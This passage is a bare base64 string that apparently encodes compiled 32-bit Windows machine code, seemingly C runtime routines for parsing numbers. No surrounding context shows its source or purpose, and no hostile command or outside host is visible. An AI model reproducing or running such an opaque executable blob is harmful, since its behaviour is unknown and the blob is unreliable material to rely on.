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3cJZjuNVP///3YNZovBZitF9GY7RfB3GGaLwWYrRfRmO0XwD7fBdwOD6CCDwMnrA4PI/4P4CnMua9IKswED0IlV7DvXfxmLzujeRwAAi1XsZovIajBmiU34WOmG/f//x0XsURQAAGowWmY7yg+CjgEAAGY7TZhzCg+3wSvC6XkBAACLlUj///9mO8oPg1oBAACLlWD///9mO8oPgmABAABmO03IctKLVYBmO8oPgk4BAABmO03AcsCLlUz///9mO8oPgjkBAABmO024cquLlXj///9mO8oPgiQBAABmO02wcpaLlVj///9mO8oPgg8BAABmO02ocoGLlXD///9mO8oPgvoAAABmO02gD4Jo////i5VE////ZjvKD4LhAAAAZjtN1A+CT////4uVaP///2Y7yg+CyAAAAGY7TZAPgjb///+LlVD///9mO8oPgq8AAABmO02ID4Id////i1XQZjvKD4KZAAAAZjtNzA+CB////4tVxGY7yg+CgwAAAGY7TbwPgvH+//+LVbRmO8pycWY7TawPgt/+//+LVaRmO8pyX2Y7TZwPgs3+//+LVZRmO8pyTWY7TYwPgrv+//+LVYRmO8pyO2Y7jXz///8Pgqb+//+LlXT///9mO8pyI2Y7jWz///9zGumN/v//ZjuNZP///w+CgP7//4PI/4P4/3UkZjmNXP///3cJZjuNVP///3Yqi1X0ZovBZivCZjtF8HYeg8j/g/gKcy2Lzuj7RQAAZovIZolN+Okq/v//i1X0ZovBZivCZjtF8A+3wXcDg+ggg8DJ686E/3QD913shNt1Go2NNP///+g2GgAAhMB0YIvO6LRFAABmiUX4i13s/3X4i87ozVkAAIt1EItN6I1WCDvKdFiAef8AdQVJO8p19TvKdEk7338kv7Dr//8733wnM8A4Rf8PlMBIg+ADQA+vReAD2IH7UBQAAH4IagnrH2oH6xs7330EagjrEzPAiR4ryjhF/4lOBA+VwOsqagJY6yX/ddyNRfj/ddhXUOi+AgAA6xD/ddyNRfj/ddhXUOjLAAAAg8QQXl9bi+Vdw4v/VYvsg+wQU4tdCI1FEFYz9olF+FeLfQyLxol98Ild9Il1/IoLOoiYOwcQdAg6iJw7BxB1Z4vP6JZEAACKyItF/ECIC4lF/IP4A3XXUYvP6KFYAACLRxCLz4lFEItHFIlFFOhrR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